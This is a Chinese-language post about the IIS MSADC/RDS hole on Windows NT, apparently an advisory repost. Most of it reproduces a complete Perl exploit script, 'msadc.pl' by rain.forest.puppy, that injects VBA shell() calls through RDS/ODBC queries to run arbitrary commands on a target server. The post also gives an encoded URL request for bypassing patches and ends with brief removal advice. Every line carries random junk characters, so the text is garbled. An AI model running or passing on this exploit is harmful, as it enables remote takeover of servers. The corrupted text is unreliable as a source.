IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
kB)u@`</mV %E R"U dh 涉及程序：
.+07 Ui]I! Microsoft NT server
-JEiwi , J~]Y 描述：
|)+ s, LT5 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
@%'1Jd7-Wp 5}3#l/ 详细：
P<%}!Y 如果你没有时间读详细内容的话，就删除:
W\c1Q Y$E c:\Program Files\Common Files\System\Msadc\msadcs.dll
fT2F$U 有关的安全问题就没有了。
\,AE5hnO YE*%Y[" 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
r|_@S[hZg CN{xh=2qY[ 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
d-sT +4o} 关于利用ODBC远程漏洞的描述，请参看:
fN_qJm#:$y P=[_W;->} http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 7es<%H 6~!QibA|P 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
b8
^O"oDrp http://www.microsoft.com/security/bulletins/MS99-025faq.asp }@y(-7t oH,{'S@q 这里不再论述。
gTS} 'w{ @*9c2\"k 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
YYN'LF#j 4St-Q]Y _ /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
&- $27 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
4,P( w+ VnYcqeCm 83 a dnm #将下面这段保存为txt文件，然后: "perl -x 文件名"
:R-_EY$k6 Q}: $F{ #!perl
{>3J 96 #
:c xA # MSADC/RDS 'usage' (aka exploit) script
EY`]""~8v #
$ {h1(ec8 # by rain.forest.puppy
Y#5v5
#
J2Mq1*Vp q # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
{ E;oirv& # beta test and find errors!
ri`; uq2C|=M-x\ use Socket; use Getopt::Std;
kz*6%Cg*~ getopts("e:vd:h:XR", \%args);
P;G]qV % :O' QL, print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
Dr)jB*yK .O pG2P if (!defined $args{h} && !defined $args{R}) {
.6LlkM6[g print qq~
_-T^YeQ / Usage: msadc.pl -h <host> { -d <delay> -X -v }
bzXeG;c<7 -h <host> = host you want to scan (ip or domain)
`h'7 X( -d <seconds> = delay between calls, default 1 second
~>#?.f -X = dump Index Server path table, if available
dBkM~" -v = verbose
a&Z,~Vp -e = external dictionary file for step 5
]6
HR p9E/#U8A_ Or a -R will resume a command session
r;9 V7C {4$aA* ~; exit;}
DDq? 4 i-}T t<^ $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
TILH[r&Jg if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
JvsL]yRT if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
p/qu4[Mm if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
P6I<M}p $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
(! PsK:wc
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
%g~&$oZmq sU+8' &vBp if (!defined $args{R}){ $ret = &has_msadc;
0v,fY 2$c die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
zM(-f|wVI) >V>`}TIH print "Please type the NT commandline you want to run (cmd /c assumed):\n"
AQ?; UDqU . "cmd /c ";
nMJ ( tQ $in=<STDIN>; chomp $in;
f5Hv![x $command="cmd /c " . $in ;
>"+ ho Q;s {M{u if (defined $args{R}) {&load; exit;}
R, s}<N$ r1Hh @sxn print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
lWn}afI &try_btcustmr;
6V"u ovN2 T/.U Mw print "\nStep 2: Trying to make our own DSN...";
O ^!Bc}$
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
"D'rsEh ~.4y* & print "\nStep 3: Trying known DSNs...";
&lgzNC9g% &known_dsn;
}U(bMo@; AmZW=n2^ print "\nStep 4: Trying known .mdbs...";
{;|pcx\L6~ &known_mdb;
3B='f"G ))dw[Xa if (defined $args{e}){
1G6 \}El95 print "\nStep 5: Trying dictionary of DSN names...";
ilXKJJda &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
D~bx'Wr+ qW4DW4 print "Sorry Charley...maybe next time?\n";
+\*b?x exit;
>& 4) : Eyz. ^)r ##############################################################################
D@O5G d _#1EbvO*l sub sendraw { # ripped and modded from whisker
5 NC77}^. sleep($delay); # it's a DoS on the server! At least on mine...
PJ4 / E my ($pstr)=@_;
3:G$Y: #P socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
,6X__Z#rGT die("Socket problems\n");
NJSbS< O if(connect(S,pack "SnA4x8",2,80,$target)){
o:&8H>(hn] select(S); $|=1;
xkR S?Q g print $pstr; my @in=<S>;
+p`BoF9~ select(STDOUT); close(S);
q{ _ f" return @in;
<CB%e!~.9 } else { die("Can't connect...\n"); }}
&Nh
zEl1 k ~Q
5Cs ##############################################################################
'7}2}KD q7r b3d sub make_header { # make the HTTP request
aOw #]pB| my $msadc=<<EOT
Cn{v\Q~.4 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
?0M$p User-Agent: ACTIVEDATA
}30Sb &" Host: $ip
pY[b [ezb Content-Length: $clen
YR? E
z<p Connection: Keep-Alive
|h%H Uau eXD~L &s[ ADCClientVersion:01.06
~1E!Co Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
:? j=MV :nR80] --!ADM!ROX!YOUR!WORLD!
zy%0;% Content-Type: application/x-varg
Tr s2M+r) Content-Length: $reqlen
'&hd^9]Lo d"IZt;s/, EOT
A'rd1"K ; $msadc=~s/\n/\r\n/g;
O$;#GpR return $msadc;}
O9zMD8 Dn@ZS _f ##############################################################################
;N(L , rM^2yr7H sub make_req { # make the RDS request
t)Cf]]dV my ($switch, $p1, $p2)=@_;
t#@z_Mn\ my $req=""; my $t1, $t2, $query, $dsn;
x/CM)!U) P
4t@BwU$ if ($switch==1){ # this is the btcustmr.mdb query
|/H?\]7 $query="Select * from Customers where City=" . make_shell();
=4'V}p $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
MU sF $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
|OAM;@jH qjh k#\y elsif ($switch==2){ # this is general make table query
-.y 1]4 $query="create table AZZ (B int, C varchar(10))";
[|YvVA $dsn="$p1";}
SD :D8"8 Y#Q!mbp elsif ($switch==3){ # this is general exploit table query
[OTn>/W' $query="select * from AZZ where C=" . make_shell();
z wU[!i) $dsn="$p1";}
W7'<Jom|? ']>9 /r# elsif ($switch==4){ # attempt to hork file info from index server
?}v/)hjp=? $query="select path from scope()";
99`w'Nlk $dsn="Provider=MSIDXS;";}
{d*OJ/4 _ Y ; tD elsif ($switch==5){ # bad query
DO * $query="select";
+v
3: \# $dsn="$p1";}
Su7N ?X! LEeA ,Y $t1= make_unicode($query);
$[Z~BfSQ $t2= make_unicode($dsn);
h@NC#Iod $req = "\x02\x00\x03\x00";
vpf.0!zh $req.= "\x08\x00" . pack ("S1", length($t1));
f,E7eL@ $req.= "\x00\x00" . $t1 ;
PuREqa\_[ $req.= "\x08\x00" . pack ("S1", length($t2));
FG[rH] $req.= "\x00\x00" . $t2 ;
lct $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
YC 8IwyL' return $req;}
lq "X_M$ 8U(o@ 1PT ##############################################################################
>V?0#f45@ h' };spv sub make_shell { # this makes the shell() statement
(E)hEQ@8 return "'|shell(\"$command\")|'";}
` 7w-_o
% xSd&xwP ##############################################################################
te2 vv]W1 Kcp YHWCa. sub make_unicode { # quick little function to convert to unicode
\u{4=-C. my ($in)=@_; my $out;
u >.a; BO for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
G 3,v'D5 return $out;}
@L~erg>8= ]"HaE-`% ##############################################################################
!CX WoM *!$Z5Im sub rdo_success { # checks for RDO return success (this is kludge)
a-E}3a my (@in) = @_; my $base=content_start(@in);
G\BZ^ SwE if($in[$base]=~/multipart\/mixed/){
QEf@wv;T return 1 if( $in[$base+10]=~/^\x09\x00/ );}
-*4*hHmb return 0;}
3.?be.cq ?R#$
c] ##############################################################################
nOL.% Z3hZy&_I sub make_dsn { # this makes a DSN for us
_3@5@1[ s my @drives=("c","d","e","f");
x1#>"z7 print "\nMaking DSN: ";
7~QI4' e foreach $drive (@drives) {
ur8+k4] \" print "$drive: ";
5Y^"&h[/ my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
:K]7(y7> "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
h#O9TB . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
|xcI~ X7Q $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
El5} f4sl return 0 if $2 eq "404"; # not found/doesn't exist
K2yNI q_ if($2 eq "200") {
cbyzZ#WRb foreach $line (@results) {
p9?kJKN return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
@9KW ]7 } return 0;}
RYEZ ' < I:i MRvp ##############################################################################
N4C7I1ihq ; $80}TY ' sub verify_exists {
#DFi-o&- my ($page)=@_;
NT*r7_e my @results=sendraw("GET $page HTTP/1.0\n\n");
|K Rt$t return $results[0];}
T2<%[AF0 : gU5C Um ##############################################################################
ap}p ?r nS%jnp# sub try_btcustmr {
2L 1 ,; my @drives=("c","d","e","f");
c #}K,joeU my @dirs=("winnt","winnt35","winnt351","win","windows");
Q l)hIf$Oo i m;6$3 foreach $dir (@dirs) {
!Yb !Au[ print "$dir -> "; # fun status so you can see progress
8i`>],,ch foreach $drive (@drives) {
( ~5 M{Xh print "$drive: "; # ditto
r) 'vn[A $reqlen=length( make_req(1,$drive,$dir) ) - 28;
\OV tvJV] $reqlenlen=length( "$reqlen" );
`R8&(kQ $clen= 206 + $reqlenlen + $reqlen;
d6QrB"J` 9m$;C '}Z my @results=sendraw(make_header() . make_req(1,$drive,$dir));
<Pt?N2]A| if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
Z)W8Of_ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
)ciP6WzzbI W]ca~ %r ##############################################################################
g) u%?T V z/w.%_g sub odbc_error {
50N4J my (@in)=@_; my $base;
~SQ xFAto my $base = content_start(@in);
:Fb>=e if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
]q%r2 (y,k $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
U*$P "sS` $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
xrg?{*\ $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Y)X7*iTi'j return $in[$base+4].$in[$base+5].$in[$base+6];}
E@ U]k$M print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
bJ!\eI%ld print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
JyMk @Y $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
M/Yr0"%Q<. +`Z1L\gmA ##############################################################################
D:/ n2_ gfg,V.: sub verbose {
fx_#3=bXi my ($in)=@_;
,\\ba_*z return if !$verbose;
v&YeQC> print STDOUT "\n$in\n";}
( *+'k1Ea MMFw T(l<1 ##############################################################################
`]eJF|" C!5A,| DX sub save {
8~o']B;lJ my ($p1, $p2, $p3, $p4)=@_;
7a'yO+7-) open(OUT, ">rds.save") || print "Problem saving parameters...\n";
C.92FiC print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
!lgL=Ys( close OUT;}
#,d~t %MjoY_<:_ ##############################################################################
{ 'O><4 SO0\d0?u sub load {
$~G,T
g my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
}%j F!d open(IN,"<rds.save") || die("Couldn't open rds.save\n");
R#d~a;j @p=<IN>; close(IN);
Zok{ndO@|f $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
={:a
N) $target= inet_aton($ip) || die("inet_aton problems");
.Ix3wR9 print "Resuming to $ip ...";
!,[#,oy ; $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
yXR1 NYg if($p[1]==1) {
`Y?VQ~ci> $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
K.)!qkW-%S $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
>S +} my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
^ F] hW if (rdo_success(@results)){print "Success!\n";}
.*zS2 z else { print "failed\n"; verbose(odbc_error(@results));}}
sxREk99lL elsif ($p[1]==3){
a+^` +p/5 if(run_query("$p[3]")){
AatSN@,~z print "Success!\n";} else { print "failed\n"; }}
,5n!a.T elsif ($p[1]==4){
} GB~3
J if(run_query($drvst . "$p[3]")){
jfxNV2[ print "Success!\n"; } else { print "failed\n"; }}
w X "hUu exit;}
i?6& 4 ~$ HB}/ ##############################################################################
X1|
+9
7=6:ZSI sub create_table {
q9/v\~m my ($in)=@_;
AFz:%m $reqlen=length( make_req(2,$in,"") ) - 28;
K&L!O3#( $reqlenlen=length( "$reqlen" );
_
>O P $clen= 206 + $reqlenlen + $reqlen;
ANhtz1Fl my @results=sendraw(make_header() . make_req(2,$in,""));
K |P0nJT return 1 if rdo_success(@results);
!/is+
xp my $temp= odbc_error(@results); verbose($temp);
OM\J4"YV$ return 1 if $temp=~/Table 'AZZ' already exists/;
b{A[\ " return 0;}
QJ2]8K)+C i
9)
G t ##############################################################################
3 B&A)&pEO Xul`>8y| sub known_dsn {
x% B_v^^^ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
?Z#N 9Z~\ my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
O sgPNy0 "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
!Z!)$3bB "banner", "banners", "ads", "ADCDemo", "ADCTest");
*d 1Bp R% Ma^jy. foreach $dSn (@dsns) {
_\WR3Q!V print ".";
Dh
I{&$O/ next if (!is_access("DSN=$dSn"));
.G8`Ut Z if(create_table("DSN=$dSn")){
. <hHK| HF print "$dSn successful\n";
O*xx63%jR if(run_query("DSN=$dSn")){
7> Z| K print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
')uYI;h9 print "Something's borked. Use verbose next time\n";}}} print "\n";}
o P SPb(. H%wB8Y
] ##############################################################################
Mg2+H+C~: ]&*POri& sub is_access {
9p{ 4- ] my ($in)=@_;
#t+ ?eye~ $reqlen=length( make_req(5,$in,"") ) - 28;
G ]K1X"W? $reqlenlen=length( "$reqlen" );
#I/P9)4 $clen= 206 + $reqlenlen + $reqlen;
Qa{5 ]+E my @results=sendraw(make_header() . make_req(5,$in,""));
VdHT3r my $temp= odbc_error(@results);
i GW|j>N verbose($temp); return 1 if ($temp=~/Microsoft Access/);
U%q)T61 return 0;}
KYFKH+d>m 0@ `]m ##############################################################################
k%.v`H!
\]ib%,:YU sub run_query {
2.q Zs8& my ($in)=@_;
hY"eGaoF" $reqlen=length( make_req(3,$in,"") ) - 28;
LE\*33k_ $reqlenlen=length( "$reqlen" );
(Z ) ,gxt $clen= 206 + $reqlenlen + $reqlen;
/UCBoQ$/] my @results=sendraw(make_header() . make_req(3,$in,""));
?JrUZXY return 1 if rdo_success(@results);
O<m46mw M my $temp= odbc_error(@results); verbose($temp);
_{*} )&!M return 0;}
ZbFD |~[ V 'oa.-g 5 ##############################################################################
o=m5AUe?J "Lp.*o sub known_mdb {
W5R/Ub@g my @drives=("c","d","e","f","g");
m}]{Y'i] R my @dirs=("winnt","winnt35","winnt351","win","windows");
&;BhL%)} my $dir, $drive, $mdb;
QiPq N$n my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
_}l(i1o,/ |+cz\+ # this is sparse, because I don't know of many
t~+M>Fjm?d my @sysmdbs=( "\\catroot\\icatalog.mdb",
<y6`8J7: "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
PQH z tS" "\\system32\\certmdb.mdb",
-)V0D,r$[ "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
BZeE Z2" pzF_g- B my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
o|xf2k "\\cfusion\\cfapps\\forums\\forums_.mdb",
2I.FSR_G? "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
y 1V}c , "\\cfusion\\cfapps\\security\\realm_.mdb",
PR{ubM n "\\cfusion\\cfapps\\security\\data\\realm.mdb",
d^v#x[1msZ "\\cfusion\\database\\cfexamples.mdb",
)UR$VL "\\cfusion\\database\\cfsnippets.mdb",
VU P|j/qD "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
mb\T)rj "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Rk$7jZdTf "\\cfusion\\brighttiger\\database\\cleam.mdb",
|~9rak, "\\cfusion\\database\\smpolicy.mdb",
M
K yj<@[ "\\cfusion\\database\cypress.mdb",
\8{SQ% "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
lu #a.41 "\\website\\cgi-win\\dbsample.mdb",
} z]d] "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
UF9={ fN1 "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
i q;\}, ); #these are just
579Q&|L. foreach $drive (@drives) {
e ,(Vy foreach $dir (@dirs){
< a R foreach $mdb (@sysmdbs) {
UylIxd print ".";
!yNU -/ K if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
(hc!!:N~q print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
Kzev] er if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
,:S#gN{U print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
v^9eTeFO } else { print "Something's borked. Use verbose next time\n"; }}}}}
7 [Us.V@ 6i/unwe!`) foreach $drive (@drives) {
8eT#- 9q@ foreach $mdb (@mdbs) {
B:zx 9 print ".";
rz|T 2K if(create_table($drv . $drive . $dir . $mdb)){
%`C e#b()' print "\n" . $drive . $dir . $mdb . " successful\n";
v n.5X if(run_query($drv . $drive . $dir . $mdb)){
\' O/3Y7?X print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
M"z=114 } else { print "Something's borked. Use verbose next time\n"; }}}}
cW 3'05 7 }
wSR|uh 49 FP&NgK ##############################################################################
XDK Me } { 4+/0\ sub hork_idx {
:!i=g +e] print "\nAttempting to dump Index Server tables...\n";
cS.@02~f" print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
5<Kt"5Z%7 $reqlen=length( make_req(4,"","") ) - 28;
B)q }]Qn $reqlenlen=length( "$reqlen" );
a^_K@ $clen= 206 + $reqlenlen + $reqlen;
U&3!=|j my @results=sendraw2(make_header() . make_req(4,"",""));
Y{dSQ|xz^ if (rdo_success(@results)){
uQdeKp4( my $max=@results; my $c; my %d;
7w73,r/D8A for($c=19; $c<$max; $c++){
e1[ReZW $results[$c]=~s/\x00//g;
-Mo4`bN $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
|q4=*X q $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
g$Tsht(rHD $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
.-$3I|}X = $d{"$1$2"}="";}
qO@vXuul, foreach $c (keys %d){ print "$c\n"; }
[n9l[dN } else {print "Index server doesn't seem to be installed.\n"; }}
M^ * ~?9 TQ\#Z~CbK{ ##############################################################################
a`Bp^(f} nOC\ =<Nsg sub dsn_dict {
V lZ+x)E open(IN, "<$args{e}") || die("Can't open external dictionary\n");
B7Ket8<J while(<IN>){
5bb#{?2i $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
5Sl"1HL next if (!is_access("DSN=$dSn"));
<MEm+8e/s6 if(create_table("DSN=$dSn")){
P$'PB*5d| print "$dSn successful\n";
TTG=7x: 3 if(run_query("DSN=$dSn")){
Bo:epus}\ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
-w+. ' print "Something's borked. Use verbose next time\n";}}}
s( _z1 print "\n"; close(IN);}
?g1eW q& t__f=QB/ ##############################################################################
s m##owI z ,;X Wv? sub sendraw2 { # ripped and modded from whisker
>V.?XZ nt sleep($delay); # it's a DoS on the server! At least on mine...
33 %hZ`/> my ($pstr)=@_;
b GSj?t9/ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
wPI!i K@Ro die("Socket problems\n");
**P P if(connect(S,pack "SnA4x8",2,80,$target)){
14&| (M print "Connected. Getting data";
{GtX:v# open(OUT,">raw.out"); my @in;
j*>]HNo& select(S); $|=1; print $pstr;
"OwM'
n8 while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
:U\* 4l close(OUT); select(STDOUT); close(S); return @in;
.i\ FK@2 } else { die("Can't connect...\n"); }}
]Mq -67 H[w';u[% ##############################################################################
dpz@T>MS= ?z &n I# sub content_start { # this will take in the server headers
shB3[W{}!) my (@in)=@_; my $c;
jl59;.P for ($c=1;$c<500;$c++) {
S^R dj ] if($in[$c] =~/^\x0d\x0a/){
@ws&W=NQ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
JQb{?C else { return $c+1; }}}
Vu_oxL} return -1;} # it should never get here actually
H nPy";{ KyIUz9$ ##############################################################################
4UbqYl3 |a aVr(*s;/ sub funky {
)4fQ~) my (@in)=@_; my $error=odbc_error(@in);
(tO4 UI5! if($error=~/ADO could not find the specified provider/){
&SIf |IX. print "\nServer returned an ADO miscofiguration message\nAborting.\n";
e!Z}aOeE exit;}
M _0f{ if($error=~/A Handler is required/){
(KO]>!t print "\nServer has custom handler filters (they most likely are patched)\n";
-75mgOj.# exit;}
<Hv/1:k } if($error=~/specified Handler has denied Access/){
b\^DQZmth print "\nServer has custom handler filters (they most likely are patched)\n";
RH,x);J| exit;}}
-[!t=qi 2KO`+ ##############################################################################
wv3*o10_w8 S /Ic= sub has_msadc {
lDBAei3iB my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
YuuTLX%3 my $base=content_start(@results);
^coCsV^CW" return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
7 cV
G?Wr return 0;}
/nv*OKS| UDZ0ne0- ########################
0f j C>AS C D6 N8n] h@JX?LzZS 解决方案：
N_E zp68Fp 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
7r:&%?2:g 2、移除web 目录: /msadc
